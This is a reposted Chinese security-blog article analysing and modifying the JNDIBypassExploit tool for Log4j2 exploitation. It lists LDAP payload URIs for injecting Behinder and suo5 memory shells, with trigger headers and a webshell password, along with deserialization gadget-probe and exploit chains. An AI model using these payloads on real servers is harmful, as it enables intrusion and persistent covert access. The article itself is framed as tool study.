JNDI利用分析魔改

admin 2024年11月12日12:24:24评论10 views字数 1646阅读5分29秒阅读模式

 

前言

实战中遇到log4j2漏洞,并且不出网,在内网另一台获得权限的主机上上传JNDIBypassExploit注入工具进行利用,在注入内存马的时候感觉不太方便,于是对该工具的代码进行学习,并进行改造。

分析

入口在Starter.java,Config.applyCmdArgs接受命令行的传参,LdapServer.start()开启ldap监听,HTTPServer.start()开启http监听。

JNDI利用分析魔改

重点看LdapServer.start(),开启ldap监听。

JNDI利用分析魔改

在构造函数LdapServer()中,使用Reflections库扫描@LdapMapping注解的控制器类, 并进行实例化,然后提取uri,将uri与控制器对象关联存储在routes中。

JNDI利用分析魔改

重写InMemoryOperationInterceptor的processSearchResult,用于拦截ldap查询请求,获取到ldap查询请求后,判断查询请求是否以前面存储在routes中的uri开头,如果不是则打印错误信息,然后return,如果是,则获取routes中uri对应的控制器对象,并调用其process和sendResult方法。

JNDI利用分析魔改

process方法用来获取传入的参数和打印信息。

JNDI利用分析魔改

sendResult方法用来构造响应数据并将响应发送给请求方。

JNDI利用分析魔改

JNDI利用分析魔改

新建

想要实现自定义的功能,只要新建一个@LdapMapping注解的Controller,并设置一个uri,重写process方法和sendResult方法即可,例如:

新建一个类,并实现LdapController接口,并重写sendResult和process接口。

JNDI利用分析魔改

添加@LdapMapping注解,并设置uri,这里为example。

JNDI利用分析魔改

在process方法中设置参数、输出信息,在sendResult方法中构造响应数据,这里是cc6的序列化数据,执行calc命令。

JNDI利用分析魔改

启动ldap服务端,发起ldap查询ldap://0.0.0.0:1389/example。

JNDI利用分析魔改

改造

加入suo5内存马,加入更多的反序列化利用链,以及反序列化gadget探测,目前payload比较少,考虑后面慢慢完善。

## tomcat el表达式ldap://127.0.0.1:1389/tmel/echo     #添加请求头 Etags: d2hvYW1pldap://127.0.0.1:1389/tmel/mem      #冰蝎连接,密码 p@ss01,添加请求头 Dtags:wwwldap://127.0.0.1:1389/tmel/suo5     #请求头User-Agent中添加Tnrpvdmva## 反序列化ldap://127.0.0.1:1389/deser/check/all/{dnslog}ldap://127.0.0.1:1389/deser/urldns/{dnslog}ldap://127.0.0.1:1389/deser/cc2/{echo|mem|suo5}ldap://127.0.0.1:1389/deser/cc6/{echo|mem|suo5}ldap://127.0.0.1:1389/deser/cb/{echo|mem|suo5}ldap://127.0.0.1:1389/deser/hib/{echo|mem|suo5}ldap://127.0.0.1:1389/deser/jackson/{echo|mem|suo5}ldap://127.0.0.1:1389/deser/rome/{echo|mem|suo5}

tomcat el表达式:

JNDI利用分析魔改

反序列化探测gadget:

JNDI利用分析魔改

JNDI利用分析魔改

反序列化利用链:

JNDI利用分析魔改

JNDI利用分析魔改

最后

本文内容仅为本人学习jndi利用工具所产出,工具可加入星球获取。

参考

  • https://github.com/feihong-cs/JNDIExploit
  • https://github.com/kezibei/Urldns/tree/main

原文始发于微信公众号(良月安全):[工具推荐]JNDI利用分析魔改

 

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月12日12:24:24
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   JNDI利用分析魔改https://cn-sec.com/archives/3387810.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息